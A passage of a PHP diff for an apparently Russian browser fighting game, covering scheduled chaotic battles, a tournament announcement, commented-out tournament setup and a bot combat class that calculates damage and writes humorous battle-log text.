`t1min`, `t2min`, `t1max`, `t2max`,`podan`,`blood`) values (".(time()+10*60).",3,99,99,3,5,'Хаотический бой 6-10','2897;','',6,6, 10, 10, '".date("H:i")."', '0');"); + + +$times = time() + 900; +mysql_query("update `variables` set `value`='".$times."' where `var`='xaot_create'"); +} + + + + //15 минут до старта БС + $turnirstart = mysql_fetch_array(mysql_query("SELECT `value`,`bs_art` FROM `variables` WHERE `var` = 'startbs' LIMIT 1;")); + $turnirstart['value'] -= 900; + if(date("z-H-i")==date("z-H-i",$turnirstart['value'])) + if($turnirstart['bs_art'] == 0){ + AddChatSystem ('Приглашаем всех желающих на турнир в Башню Смерти! Турнир начинается через 15 минут'); + }elseif($turnirstart['bs_art'] == 1){ + AddChatSystem ('Приглашаем всех желающих на турнир в Артовую Башню Смерти! Турнир начинается через 15 минут'); + } + + + + + + +// hp operations + + #mysql_query("UPDATE `users` SET `maxhp` = (IFNULL((SELECT SUM(`ghp`) FROM `inventory` WHERE dressed=1 AND owner = `users`.id),0) + (users.vinos*6));"); + #mysql_query("UPDATE `users` SET `maxmana` = (IFNULL((SELECT SUM(`gmp`) FROM `inventory` WHERE dressed=1 AND owner = `users`.id),0) + (users.mudra*10));"); + #mysql_query("UPDATE `users` SET `hp` = '0' WHERE `hp` < '0' "); + #mysql_query("UPDATE `users` SET `mana` = '0' WHERE `mana` < '0' "); + // ломаем шмот + // $its = mysql_query("SELECT `id`,`owner`,`name` FROM `inventory` WHERE `dressed` = 0 AND ((`maxdur` <= `duration`) OR (`dategoden` > 0 AND `dategoden` <= '".time()."'));"); + // while($it = mysql_fetch_array($its)) + // { + //destructitem($it['id']); + #mysql_query("DELETE FROM `inventory` WHERE `id` = '".$it['id']."' LIMIT 1;"); + #mysql_query("INSERT INTO `delo` (`id` , `author` ,`pers`, `text`, `type`, `date`) VALUES ('','0','\"".$it['name']."\" разрушился id:(cap".$it['id'].").',1,'".time()."');"); + // } + + + // $data = mysql_query("SELECT `id`, `fullhptime` FROM `users` WHERE `hp` < `maxhp` AND `battle` = 0;"); + // while($user = mysql_fetch_array($data)) { + // if ((time()-$user[1])/60 > 0) + // { + #mysql_query("UPDATE `users` SET `hp` = `hp`+((".time()."-`fullhptime`)/60)*(`maxhp`/20), `fullhptime` = ".time()." WHERE `hp` < `maxhp` AND `id` = '".$user[0]."' LIMIT 1;"); + // } + // } + // $data = mysql_query("SELECT `id`, `fullmptime` FROM `users` WHERE `mana` < `maxmana` AND `battle` = 0;"); + // while($user = mysql_fetch_array($data)) { + // if ((time()-$user[1])/60 > 0 && $user[1]) + // { + #mysql_query("UPDATE `users` SET `mana` = `mana`+((".time()."-`fullmptime`)/60)*(`maxmana`/30), `fullmptime` = '".time()."' WHERE `id` = '".$user[0]."' LIMIT 1;"); + // } + // } + #mysql_query("UPDATE `users` SET `hp` = `maxhp`, `fullhptime` = ".time()." WHERE `hp` > `maxhp` AND `battle` = 0;"); + #mysql_query("UPDATE `users` SET `mana` = `maxmana`, `fullmptime` = ".time()." WHERE (`mana` > `maxmana` OR `fullmptime` = 0) AND `battle` = 0;"); + + // start BS + /*$tr = mysql_fetch_array(mysql_query("SELECT * FROM `deztow_turnir` WHERE `active` = TRUE")); + $turnirstart = mysql_fetch_array(mysql_query("SELECT `value`,`bs_art` FROM `variables` WHERE `var` = 'startbs' LIMIT 1;")); + $dd = mysql_fetch_array(mysql_query("SELECT count(`kredit`) FROM `deztow_stavka`;")); + echo$turnirstart[0].$dd[0]; + if($dd[0] < 2 && $turnirstart[0] <= time()) { + if($turnirstart['bs_art'] == 1){ + $bs_art = 0; + }elseif($turnirstart['bs_art'] == 0){ + $bs_art = 1; + } + mysql_query('UPDATE `variables` SET `value` = \''.(time()+60*60).'\',`bs_art`='".$bs_art.'" WHERE `var` = \'startbs\';'); + echo"no"; + mysql_query("INSERT INTO `deztow_stavka` (`owner`,`kredit`,`time`) values ('1254','30','".time()."' ); "); + } + if(!$tr && $turnirstart[0] <= time() && $dd[0] >= 2){ + echo"ok"; + // начинаем БС + //mysql_query("LOCK TABLES `shop` WRITE, `deztow_items` WRITE, `deztow_realchars` WRITE, `deztow_charstams` WRITE, `deztow_eff` WRITE, `deztow_gamers_inv` WRITE,`effects` WRITE, `deztow_turnir` WRITE, `deztow_stavka` WRITE, `users` WRITE, `inventory` WRITE, `online` WRITE;"); + $minroom = 501; + $maxroom = 560; + // вычисляем кто прошел в турнир + $data = mysql_query("SELECT dt.owner FROM `deztow_stavka` as dt, `online` as o WHERE (SELECT count(`id`) FROM `effects` WHERE `effects`.`owner` = dt.owner AND ( type=11 OR type=12 OR type=13 OR type=14 OR type=2 OR type=3 OR type=4 OR type=202 OR type=201 OR type=21)) = 0 AND o.id = dt.owner AND room = 31 AND o.`date` >= '".(time()-300)."' ORDER by `kredit` DESC, dt.`time` ASC LIMIT 40;"); + $stavka = mysql_fetch_array(mysql_query("SELECT SUM(`kredit`)*0.7 FROM `deztow_stavka`;")); + // удаляем сразу, чтоб другим не повадно было + if($data) { + mysql_query("TRUNCATE TABLE `deztow_stavka`;"); + mysql_query("TRUNCATE TABLE `deztow_gamers_inv`;"); + } + while($row=mysql_fetch_array($data)) { + // делаем каждому чару бекап в базу специальную, раздеваем и все такое + undressall($row[0]); // раздели + $shmot = mysql_query("SELECT * FROM `inventory` WHERE `owner` = '".$row[0]."';");// бекапим весь шмот + mysql_query("UPDATE `inventory` SET `owner` = 0 WHERE `owner` = '".$row[0]."';"); + while($sh = mysql_fetch_array($shmot)) { + mysql_query("INSERT `deztow_gamers_inv` (`id_item`,`owner`) values ('".$sh[0]."','".$row[0]."');"); + } + // effects + $effs = mysql_query("SELECT * FROM `effects` WHERE `owner` = '".$row[0]."';"); // бекапим ефекты + while($eff = mysql_fetch_array($effs)) { + mysql_query("INSERT `deztow_eff` (`type`, `name`, `time`, `sila`, `lovk`, `inta`, `vinos`, `owner`) + values ('".$eff[1]."','".$eff[2]."','".$eff[3]."','".$eff[4]."','".$eff[5]."','".$eff[6]."','".$eff[7]."','".$eff[8]."');"); + //deltravma($eff['id']); + } + mysql_query("DELETE FROM `effects` WHERE `owner` = '".$row[0]."';"); + // stats + $tec = mysql_fetch_array(mysql_query("SELECT * FROM `deztow_charstams` WHERE `owner` = '{$row[0]}' AND `def`='1';")); + if($tec[0] && $row[0] != 233) { + // умелки + $u = mysql_fetch_array(mysql_query("SELECT * FROM `users` WHERE `id` = '{$row[0]}' LIMIT 1;")); + $master = ($u['noj']+$u['mec']+$u['topor']+$u['dubina']+$u['mfire']+$u['mwater']+$u['mair']+$u['mearth']+$u['mlight']+$u['mgray']+$u['mdark']+$u['master']); + // если есть шаблон - меняем + mysql_query("INSERT `deztow_realchars` (`owner`,`name`,`sila`,`lovk`,`inta`,`vinos`,`intel`,`mudra`,`stats`,`nextup`,`level`,`master`) values + ('".$u['id']."','".$u['login']."','".$u['sila']."','".$u['lovk']."','".$u['inta']."','".$u['vinos']."','".$u['intel']."', + '".$u['mudra']."','".$u['stats']."','".$u['nextup']."','".$u['level']."','".$master."');"); + //создали запись, теперь выставляем статы)) + $stats = ($u['sila']+$u['lovk']+$u['inta']+$u['vinos']+$u['intel']+$u['mudra']+$u['stats'])- + ($t['sila']+$t['lovk']+$t['inta']+$t['vinos']+$t['intel']+$t['mudra']); + if ((int)$stats!=0) { + $fffff=fopen('/tmp/bs_s.dat','a'); +// $tec['sila']=$u['sila']; $tec['lovk']=$u['lovk']; $tec['$inta']=$u['inta']; +// $tec['vinos']=$u['vinos']; $tec['intel']=$u['intel']; $tec['mudra']=$u['mudra']; + fwrite($fffff,print_r($u)."\n"); + fwrite($fffff,print_r($tec)."\n"); + fwrite($fffff,(int)$stats."\n"); + fwrite($fffff,"\n\n\n"); + fclose($fffff); + } //".$stats." + mysql_query("UPDATE `users` SET `sila`='".$tec['sila']."', `lovk`='".$tec['lovk']."',`inta`='".$tec['inta']."',`vinos`='".$tec['vinos']."',`intel`='".$tec['intel']."',`mudra`='".$tec['mudra']."',`stats`='0', + `noj`=0,`mec`=0,`topor`=0,`dubina`=0,`mfire`=0,`mwater`=0,`mair`=0,`mearth`=0,`mlight`=0,`mgray`=0,`mdark`=0,`master`='".$master."',`maxhp`='".($tec['vinos']*6)."',`hp`='".($tec['vinos']*6)."' + WHERE `id` = '".$u['id']."' LIMIT 1;"); + // закончили + } + + // пихаем учасников в БС + $rum = rand($minroom,$maxroom); + $urs[$row[0]] = $rum; + //mysql_query("UPDATE `users` SET `in_tower` = 1, `room` = '".$rum."' WHERE `id` = '".$row[0]."';"); + //mysql_query("UPDATE `online` SET `room` = '".$rum."' WHERE `id` = '".$row[0]."' LIMIT 1 ;"); + // в список участников + $i++; + if($i>1) { $lors .= ", "; } + $lors .= nick3($row[0]); + } + + // arch================ + undressall(233); + mysql_query("DELETE FROM `inventory` WHERE `owner` = '233';"); + $rum = rand($minroom,$maxroom); + mysql_query("UPDATE `users` SET `in_tower` = 1, `chattime` = '999999999999', `room` = '".$rum."' WHERE `id` = '233';"); + mysql_query("UPDATE `online` SET `room` = '".$rum."' WHERE `id` = '233' LIMIT 1 ;"); + $i++; + $lors .= ", ".nick3(233); + //===================== + + // разбрасываем шмот по комнатам + mysql_query("TRUNCATE TABLE `deztow_items`;"); + // айдишники магазинных прототипов + $shmots = array("1","1","92","92","93","93","19","19","20","20","20","23","23","24","14","87","87","6","6","17","17","17","17","11","11","12","12","12","28","28","43","43","36","36","36","37","37","37","38","38","38","50","50","57","52","52","51","51","48","48","47","47","49","49","59","59","60","60","61","61","63","64","64","65","65","66","66","68","68","69","69","72","72","4","5","79","79","80","76","75","75","94","94","95","95","82","91","91","34","34","86","86","86","9","9","101","101","101","101","101","97","97","97","97","100","100","100","100","171","171","171","171","103","103","103","104","105","105","106","106","107","107","108","108","109","110","111","112","112","113","113","119","364","284","284","284","284","284","285","285","285","285","286","286","286","286"); + while($sh = array_shift($shmots)) { + $shopid = mysql_fetch_array(mysql_query("SELECT * FROM `shop` WHERE `id` = '".$sh."' LIMIT 1;")); + mysql_query("INSERT `deztow_items` (`iteam_id`, `name`, `img`, `room`) values ('".$shopid['id']."', '".$shopid['name']."', '".$shopid['img']."', '".rand($minroom,$maxroom)."');"); + } + // формируем лог + $log = ''.date("d.m.y H:i").' Начало турнира. Участники: '.$lors.'
    '; + // создаем запись о турнире + $end = time() + 21600; + mysql_query("INSERT `deztow_turnir` (`type`,`winner`,`coin`,`start_time`,`log`,`endtime`,`active`) values ('".rand(1,7)."','','".$stavka[0]."','".time()."','".$log."','".$end."','1');"); + //mysql_query("UNLOCK TABLES;"); + + foreach($urs as $row=>$rum) { + mysql_query("UPDATE `users` SET `in_tower` = 1, `room` = '".$rum."' WHERE `id` = '".$row."';"); + mysql_query("UPDATE `online` SET `room` = '".$rum."' WHERE `id` = '".$row."' LIMIT 1 ;"); + } + }*/ + + + // bots razmen + //==================================================================================== +/*function nick5 ($id,$st) { + $bots = mysql_fetch_array(mysql_query ('SELECT * FROM `bots` WHERE `id` = '.$id.' LIMIT 1;')); + $id=$bots['prototype']; + $user = mysql_fetch_array(mysql_query("SELECT * FROM `users` WHERE `id` = '{$id}' LIMIT 1;")); + $user['login'] = $bots['name']; + $user['hp'] = $bots['hp']; + $user['id'] = $bots['id']; + + if($user[0]) { + return "".$user['login'].""; + } +} + */ + + class botbattle { + public $log = ""; // агреггатор лога + + function botbattle () { + global $mysql; + $this->mysql = $mysql; + } + + function GetWeaponType($idwep) { + + if ($idwep == 0) { + return "kulak"; + } + $wep = mysql_fetch_array(mysql_query('SELECT `name` FROM `inventory` WHERE `id` = '.$idwep.' LIMIT 1;')); + //print_r($wep); + if(preg_match("/кастет/i",$wep[0]) || preg_match("/нож/i",$wep[0]) || preg_match("/кинжал/i",$wep[0])) { + return "noj"; + } + elseif(preg_match("/дубина/i",$wep[0]) || preg_match("/молот/i",$wep[0]) || preg_match("/ледяной/i",$wep[0]) || preg_match("/клевец/i",$wep[0])) { + return "dubina"; + } + elseif(preg_match("/топор/i",$wep[0]) OR preg_match("/секира/i",$wep[0]) || preg_match("/аллебарда/i",$wep[0])) { + return "topor"; + } + elseif(preg_match("/Меч/i",$wep[0])) { + return "mech"; + } + + } + + function razmen_log($type,$kuda,$chem,$uron,$kto,$c1,$pokomy,$c2,$hp,$maxhp) { + //print_R(func_get_args()); + if ($this->enemyhar['sex'] && $kto == $this->enemyhar['id']) { $sex1 = false; } + if (!$this->enemyhar['sex'] && $kto == $this->enemyhar['id']) { $sex1 = true; } + if ($this->enemyhar['sex'] && $pokomy == $this->enemyhar['id']) { $sex2 = false; } + if (!$this->enemyhar['sex'] && $pokomy == $this->enemyhar['id']) { $sex2 = true; } + + if ($this->user['sex'] && $kto == $this->user['id']) { $sex1 = false; } + if (!$this->user['sex'] && $kto == $this->user['id']) { $sex1 = true; } + if ($this->user['sex'] && $pokomy == $this->user['id']) { $sex2 = false; } + if (!$this->user['sex'] && $pokomy == $this->user['id']) { $sex2 = true; } + + if($hp < 0) { $hp = 0; } + + // текст по промазыванию + if (!$sex1) { + $textfail = array ( 'думал о <вырезано цензурой>, вследствие чего', + 'пытался нанести удар, но ', + 'поскользнулся, и', + 'старался провести удар, но', + 'закашлялся, и', + 'пытался провести удар, но безумный', + 'потерял самоконтроль, вследствие чего', + 'думал не о том и'); + } else { + $textfail = array ( 'думала о <вырезано цензурой>, вследствие чего', + 'пыталась нанести удар, но ', + 'поскользнулась, и', + 'старалась провести удар, но', + 'закашлялась, и', + 'пыталась провести удар, но ', + 'потеряла самоконтроль, вследствие чего', + 'думала не о том и'); + } + // чем били + $textchem = array ( + "kulak" => array("грудью","ребром руки","лбом","кулаком","ногой","левой ногой","правой ногой","коленом"), + "noj" => array("ножем","тыльной стороной лезвия ножа","рукоятью ножа","лезвием ножа"), + "dubina" => array("сучковатой палкой","поленом","тяжелой дубиной","дубиной","рукоятью молота"), + "topor" => array("секирой","топором","лезвием секиры","аллебардой","тяжелым держаком","длинной секирой"), + "mech" => array("ножнами","гардой","мечем","лезвием меча","рукоятью меча","тупым лезвием","острой стороной меча","огромным мечем",) + ); + $textchem = $textchem[$chem]; + // куда били + $udars = array( + '1' => array ('в нос','в глаз','в челюсть','по переносице','в кадык','по затылку','в правый глаз','в левый глаз','в скулу'), + '2' => array ('в грудь','в корпус','в солнечное сплетение','в сердце','в бок','в область лопаток','по желудку','по левой руке','по правой руке'), + '3' => array ('по <вырезано цензурой>','в пах','в промежность','по левой ягодице','по правой ягодице'), + '4' => array ('по ногам','в область правой пятки','в область левой пятки','по коленной чашечке','по икрам') + ); + $kuda = $udars[$kuda][rand(0,count($udars[$kuda])-1)]; + //тест по попаданию + if (!$sex2) { + $textud = array ('забылся, и тут', + 'замешкался, и за это бесчувственный', + 'растерялся, как вдруг расстроенный', + 'ковырялся в зубах, и тут', + 'поперхнулся, но вдруг храбрый', + 'пытался что-то сказать но вдруг, неожиданно', + 'растерялся, как вдруг', + 'засмотрелся на <вырезано цензурой>, а в это время', + 'высморкался, и в это время', + 'думал не о том и', + 'пришел в себя, но в это время обезумевший', + 'обернулся, как внезапно'); + } else { + $textud = array ('забылась, и тут', + 'замешкалась, и за это ', + 'растерялась, как вдруг ', + 'ковырялась в зубах, и тут ', + 'поперхнулась, но вдруг ', + 'пыталась что-то сказать но вдруг, неожиданно', + 'растерялась, как вдруг', + 'засмотрелась на <вырезано цензурой>, а в это время', + 'высморкалась, и в это время', + 'думала не о том и', + 'пришла в себя, но в это время ', + 'обернулась, как внезапно'); + } + + switch ($type) { + // уворот + case "uvorot": + if ($sex2) { + $textuvorot = array (" уклонилась от удара "," увернулась от удара "," отскочила от удара "); + } + else { + $textuvorot = array (" уклонился от удара "," увернулся от удара "," отскочил от удара "); + } + return ''.date("H:i").' '.nick5($kto,$c1).' '.$textfail[rand(0,count($textfail)-1)].' '.nick5($pokomy,$c2).' '.$textuvorot[rand(0,count($textuvorot)-1)].' '.$textchem[rand(0,count($textchem)-1)].' '.$kuda.'.
    '; + break; + //блок + case "block": + if ($sex2) { + $textblock = array (" заблокировала удар "," остановила удар "," отбила удар "); + } + else { + $textblock = array (" заблокировал удар "," остановил удар "," отбил удар "); + } + return ''.date("H:i").' '.nick5($kto,$c1).' '.$textfail[rand(0,count($textfail)-1)].' '.nick5($pokomy,$c2).' '.$textblock[rand(0,count($textblock)-1)].' '.$textchem[rand(0,count($textchem)-1)].' '.$kuda.'.
    '; + break; + //крит + case "krit": + if ($sex1) { + $textkrit = array (", напугав всех, неслышно подойдя сзади ударила по голове булыжником оппонента.",", сказав \"БУ!\", ласково заломила руку за спину соперника.",", расслабившись, расцарапала нос соперника.",", показав сразу два пальца, наступила на ногу врага.",", напугав всех, укусила в нос противника.",", проклиная этот сайт, провела ужасный бросок через пупок оппонента."); + } + else { + $textkrit = array (", напугав всех, неслышно подойдя сзади ударил по голове булыжником оппонента.",", сказав \"БУ!\", ласково заломил руку за спину соперника.",", расслабившись, расцарапал нос соперника.",", показав сразу два пальца, наступил на ногу врага.",", напугав всех, укусил в нос противника.",", проклиная этот сайт, провел ужасный бросок через пупок оппонента."); + } + return ''.date("H:i").' '.nick5($pokomy,$c2).' '.$textud[rand(0,count($textud)-1)].' '.nick5($kto,$c1).' '.$textkrit[rand(0,count($textkrit)-1)].' -'.$uron.' ['.$hp.'/'.$maxhp.']'.'
    '; + break; + // попадание + case "udar": + if ($sex1) { + $textudar = array(", разбежавшись, рубанула"," отчаянно проткнула "," нехотя уколола "," не подумав, рубанула ",", улыбаясь, саданула укол "," приложила удар "," ударила "," сдуру вмазала "); + } + else { + $textudar = array(", разбежавшись, рубанул"," отчаянно проткнул "," нехотя уколол "," не подумав, рубанул ",", улыбаясь, саданул укол "," приложил удар "," ударил "," сдуру вмазал "); + } + return ''.date("H:i").' '.nick5($pokomy,$c2).' '.$textud[rand(0,count($textud)-1)].' '.nick5($kto,$c1).''.$textudar[rand(0,count($textudar)-1)].' '.$textchem[rand(0,count($textchem)-1)].' '.$kuda.' -'.$uron.' ['.$hp.'/'.$maxhp.']'.'
    '; + break; + } + } + + function UpdateBattle () { + return mysql_query('UPDATE `battle` SET `teams` = \''.serialize($this->battle).'\', `damage` = \''.serialize($this->damage).'\' WHERE `id` = '.$this->battle_data['id'].' ;'); + } + + function AddToLog ($text) { + $this->log .= $text; + } + + function write_log () { + if($this->log){$this->log=$this->log."
    ";} + addlog($this->user['battle'],$this->log); + + /*$fp = fopen("/tmp/backup/logs/battle".$this->battle_data['id'].".txt","a"); //открытие + flock($fp,LOCK_EX); //БЛОКИРОВКА ФАЙЛА + fputs($fp , $this->log); //работа с файлом + fflush($fp); //ОЧИЩЕНИЕ ФАЙЛОВОГО БУФЕРА И ЗАПИСЬ В ФАЙЛ + flock($fp,LOCK_UN); //СНЯТИЕ БЛОКИРОВКИ + fclose($fp); //закрытие + $this->log = '';*/ + } + + function solve_mf($enemy,$enemy2,$en1att,$en2att) { + $mf = array (); + + $bots = mysql_fetch_array(mysql_query ('SELECT * FROM `bots` WHERE `id` = '.$enemy2.' LIMIT 1;')); + $this->enemyhar = mysql_fetch_array(mysql_query('SELECT * FROM `users` WHERE `id` = \''.$bots['prototype'].'\' LIMIT 1;')); + $this->enemy_dress = mysql_fetch_array(mysql_query('SELECT sum(minu),sum(maxu),sum(mfkrit),sum(mfakrit),sum(mfuvorot),sum(mfauvorot),sum(bron1),sum(bron2),sum(bron3),sum(bron4) FROM `inventory` WHERE `dressed`=1 AND `owner` = \''.$bots['prototype'].'\' LIMIT 1;')); + $this->enemyhar['hp'] = $bots['hp']; + + + $bots = mysql_fetch_array(mysql_query ('SELECT * FROM `bots` WHERE `id` = '.$enemy.' LIMIT 1;')); + $this->user = mysql_fetch_array(mysql_query('SELECT * FROM `users` WHERE `id` = \''.$bots['prototype'].'\' LIMIT 1;')); + $this->user_dress = mysql_fetch_array(mysql_query('SELECT sum(minu),sum(maxu),sum(mfkrit),sum(mfakrit),sum(mfuvorot),sum(mfauvorot),sum(bron1),sum(bron2),sum(bron3),sum(bron4) FROM `inventory` WHERE `dressed`=1 AND `owner` = \''.$bots['prototype'].'\' LIMIT 1;')); + $this->user['hp'] = $bots['hp']; + + + // мои МФ в отношении противника + $mf['me'] = array ( + 'udar' => rand(floor($this->user['sila']/3)+2+$this->user_dress[0],floor($this->user['sila']/3)+4+$this->user_dress[1])-rand(1,$this->enemy_dress[5+$en1att]), + 'krit' => $this->user_dress[2]-$this->enemy_dress[3]+floor($this->user['inta']*4)-floor($this->enemyhar['inta']*4), + 'uvorot' => $this->user_dress[4]-$this->enemy_dress[5]+floor($this->user['lovk']*4)-floor($this->enemyhar['lovk']*4), + ); + if($this->GetWeaponType($this->user['weap']) == 'kulak' && $this->user['align'] == '2') { $mf['me']['udar'] += $this->user['level']; } + //бонусы от умений к урону + switch($this->GetWeaponType($this->user['weap'])) { + case "noj": + $mf['me']['udar'] += $this->user['noj']; + break; + case "dubina": + $mf['me']['udar'] += $this->user['dubina']; + break; + case "topor": + $mf['me']['udar'] += $this->user['topor']; + break; + case "mech": + $mf['me']['udar'] += $this->user['mec']; + break; + } + + if($bmfud>5) $mf['me']['udar']+=$bmfud; + if($mf['me']['udar'] < 0) { $mf['me']['udar'] = 0; } + if($bmfud<=5) $mf['me']['udar']+=$bmfud; + if($mf['me']['krit'] < 1) + { $mf['me']['krit'] = 1; } + elseif (($mf['me']['krit'] >= 50)&&($mf['me']['krit']<100)) + { $mf['me']['krit'] = 50; } + elseif (($mf['me']['krit'] >= 100)&&($mf['me']['krit']<200)) + { $mf['me']['krit'] = 55; } + elseif (($mf['me']['krit'] >= 200)&&($mf['me']['krit']<300)) + { $mf['me']['krit'] = 60; } + elseif (($mf['me']['krit'] >= 300)&&($mf['me']['krit']<400)) + { $mf['me']['krit'] = 65; } + elseif (($mf['me']['krit'] >= 400)&&($mf['me']['krit']<500)) + { $mf['me']['krit'] = 70; } + elseif ($mf['me']['krit'] >= 500) + { $mf['me']['krit'] = 75; } + if($mf['me']['uvorot'] < 1) + { $mf['me']['uvorot'] = 1; } + elseif (($mf['me']['uvorot'] >= 50)&&($mf['me']['uvorot']<100)) + { $mf['me']['uvorot'] = 50; } + elseif (($mf['me']['uvorot'] >= 100)&&($mf['me']['uvorot']<200)) + { $mf['me']['uvorot'] = 55; } + elseif (($mf['me']['uvorot'] >= 200)&&($mf['me']['uvorot']<300)) + { $mf['me']['uvorot'] = 60; } + elseif (($mf['me']['uvorot'] >= 300)&&($mf['me']['uvorot']<400)) + { $mf['me']['uvorot'] = 65; } + elseif (($mf['me']['uvorot'] >= 400)&&($mf['me']['uvorot']<500)) + { $mf['me']['uvorot'] = 70; } + elseif ($mf['me']['uvorot'] >= 500) + { $mf['me']['uvorot'] = 75; } + switch($this->GetWeaponType($this->user['weap'])) { + case "noj": + $ver=$this->user['noj']; + break; + case "dubina": + $ver=$this->user['dubina']; + break; + case "topor": + $ver=$this->user['topor']; + break; + case "mech": + $ver=$this->user['mech']; + break; + } + if(mt_rand(0,100)<$ver) + switch($this->GetWeaponType($this->user['weap'])) { + case "noj": + $mf['me']['udar']+=(($this->user['lovk']+$this->user['inta'])*$this->user['level']*mt_rand(5,15)/(2*10*10)); + break; + case "dubina": + $mf['me']['udar']+=(($this->user['sila']+$this->user['vinos'])*$this->user['level']*mt_rand(5,15)/(2*10*10)); + break; + case "topor": + $mf['me']['udar']+=(($this->user['inta']+$this->user['vinos'])*$this->user['level']*mt_rand(5,15)/(2*10*10)); + break; + case "mech": + $mf['me']['udar']+=(($this->user['lovk']+$this->user['sila'])*$this->user['level']*mt_rand(5,15)/(2*10*10)); + break; + } + //округляем урон + $mf['me']['udar']=round($mf['me']['udar']); + + // МФ врага в отношении меня + $mf['he'] = array ( + 'udar' => rand(floor($this->enemyhar['sila']/3)+2+$this->enemy_dress[0],floor($this->enemyhar['sila']/3)+4+$this->enemy_dress[1])-rand(1,$this->user_dress[5+$en2att]), + 'krit' => $this->enemy_dress[2]-$this->user_dress[3]+floor($this->enemyhar['inta']*4)-floor($this->user['inta']*4), + 'uvorot' => $this->enemy_dress[4]-$this->user_dress[5]+floor($this->enemyhar['lovk']*4)-floor($this->user['lovk']*4), + ); + if($this->GetWeaponType($this->enemyhar['weap']) == 'kulak' && $this->enemyhar['align'] == '2') { $mf['he']['udar'] += $this->enemyhar['level']; } + switch($this->GetWeaponType($this->enemyhar['weap'])) { + case "noj": + $mf['he']['udar'] += $this->enemyhar['noj']; + break; + case "dubina": + $mf['he']['udar'] += $this->enemyhar['dubina']; + break; + case "topor": + $mf['he']['udar'] += $this->enemyhar['topor']; + break; + case "mech": + $mf['he']['udar'] += $this->enemyhar['mec']; + break; + } + if($bmfud1<5) $mf['he']['udar']+=$bmfud1; + if($mf['he']['udar'] < 0) { $mf['he']['udar'] = 0; } + if($bmfud1>=5) $mf['he']['udar']+=$bmfud1; + //if($mf['he']['krit'] < 1) { $mf['he']['krit'] = 1; } elseif ($mf['he']['krit'] > 50) { $mf['he']['krit'] = 50; } + //if($mf['he']['uvorot'] < 1) { $mf['he']['uvorot'] = 1; } elseif ($mf['he']['uvorot'] > 65) { $mf['he']['uvorot'] = 65; } + if($mf['he']['krit'] < 1) + { $mf['he']['krit'] = 1; } + elseif (($mf['he']['krit'] >= 50)&&($mf['he']['krit']<100)) + { $mf['he']['krit'] = 50; } + elseif (($mf['he']['krit'] >= 100)&&($mf['he']['krit']<200)) + { $mf['he']['krit'] = 55; } + elseif (($mf['he']['krit'] >= 200)&&($mf['he']['krit']<300)) + { $mf['he']['krit'] = 60; } + elseif (($mf['he']['krit'] >= 300)&&($mf['he']['krit']<400)) + { $mf['he']['krit'] = 65; } + elseif (($mf['he']['krit'] >= 400)&&($mf['he']['krit']<500)) + { $mf['he']['krit'] = 70; } + elseif ($mf['he']['krit'] >= 500) + { $mf['he']['krit'] = 75; } + if($mf['he']['uvorot'] < 1) + { $mf['he']['uvorot'] = 1; } + elseif (($mf['he']['uvorot'] >= 50)&&($mf['he']['uvorot']<100)) + { $mf['he']['uvorot'] = 50; } + elseif (($mf['he']['uvorot'] >= 100)&&($mf['he']['uvorot']<200)) + { $mf['he']['uvorot'] = 55; } + elseif (($mf['he']['uvorot'] >= 200)&&($mf['he']['uvorot']<300)) + { $mf['he']['uvorot'] = 60; } + elseif (($mf['he']['uvorot'] >= 300)&&($mf['he']['uvorot']<400)) + { $mf['he']['uvorot'] = 65; } + elseif (($mf['he']['uvorot'] >= 400)&&($mf['he']['uvorot']<500)) + { $mf['he']['uvorot'] = 70; } + elseif ($mf['he']['uvorot'] >= 500) + { $mf['he']['uvorot'] = 75; } + //проф урон + switch($this->GetWeaponType($this->user['weap'])) { + case "noj": + $ver=$this->user['noj']; + break; + case "dubina": + $ver=$this->user['dubina']; + break; + case "topor": + $ver=$this->user['topor']; + break; + case "mech": + $ver=$this->user['mech']; + break; + } + if(mt_rand(0,100)<$ver) + switch($this->GetWeaponType($this->user['weap'])) { + case "noj": + $mf['he']['udar']+=(($this->user['lovk']+$this->user['inta'])*$this->user['level']*mt_rand(5,15)/(2*10*10)); + break; + case "dubina": + $mf['he']['udar']+=(($this->user['sila']+$this->user['vinos'])*$this->user['level']*mt_rand(5,15)/(2*10*10)); + break; + case "topor": + $mf['he']['udar']+=(($this->user['inta']+$this->user['vinos'])*$this->user['level']*mt_rand(5,15)/(2*10*10)); + break; + case "mech": + $mf['he']['udar']+=(($this->user['lovk']+$this->user['sila'])*$this->user['level']*mt_rand(5,15)/(2*10*10)); + break; + } + //if(in_array($enemy,$this->botsid)) { $mf['he']['udar'] += $this->user_dress[1]; } + if($enemy > _BOTSEPARATOR_) { + $mf['he']['krit'] -= 6; + } + //округляем урон + $mf['he']['udar']=round($mf['he']['udar']); + //if(in_array($enemy,$this->botsid)) { $mf['he']['udar'] += $this->user_dress[1]; } + // result + return $mf; + } + + function GetChance ($persent) { + if (rand(1,100) < $persent) { + return true; + } + else { + return false; + } + } + + function GetBlock ($att,$def) { + // по типам блоков + $blocks = array ( + '1' => array (1,2), + '2' => array (2,3), + '3' => array (3,4), + '4' => array (4,1) + ); + + if (!in_array($att,$blocks[$def])) { + return true; + } else { + return false; + } + + } + + function InitRazmen ($enemy,$enemy2,$battle_id) { + $bots1 = mysql_fetch_array(mysql_query ('SELECT * FROM `bots` WHERE `id` = '.$enemy.' AND `battle` = '.$battle_id.' AND `hp` > 0 LIMIT 1;')); + $bots2 = mysql_fetch_array(mysql_query ('SELECT * FROM `bots` WHERE `id` = '.$enemy2.' AND `battle` = '.$battle_id.' AND `hp` > 0 LIMIT 1;')); + if($bots1 && $bots2) { + + + + $this->battle_data = mysql_fetch_array(mysql_query ('SELECT * FROM `battle` WHERE `id` = '.$battle_id.' LIMIT 1;')); + + // получили дамагу + $this->damage = unserialize($this->battle_data['damage']); + // кто драчуется? + $this->battle = unserialize($this->battle_data['teams']); + + // режем тимзы + $this->t1 = explode(";",$this->battle_data['t1']); + $this->t2 = explode(";",$this->battle_data['t2']); + // проставляем кто-где + if (in_array ($enemy,$this->t1)) { + $this->my_class = "B1"; + $this->en_class = "B2"; + $this->team_mine = $this->t1; + $this->team_enemy = $this->t2; + } else { + $this->my_class = "B2"; + $this->en_class = "B1"; + $this->team_mine = $this->t2; + $this->team_enemy = $this->t1; + } + + + // проверяем прафильность + $en1att = mt_rand(1,4); + $en2att = mt_rand(1,4); + $en1b = mt_rand(1,4); + $en2b = mt_rand(1,4); + + // х-ки драчующихся + $mf = $this->solve_mf($enemy,$enemy2,$en1att,$en2att); + + //echo $this->GetWeaponType($this->enemyhar['weap']); + // проверяем кто куда попал + // удар по мне + if ($this->GetChance($mf['my']['uvorot'])) + { + // я увернулся; 